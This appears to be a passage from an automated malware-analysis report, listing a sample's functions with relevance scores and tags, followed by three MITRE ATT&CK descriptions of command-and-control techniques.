Function 00101C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Function 00123202 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00101DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Function 0011BE33 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00129EB4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 0012A68D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00123D52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00102010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Function 00122277 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 001014C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Function 00114C70 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Function 00113390 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Function 001232CD Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 00102210 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre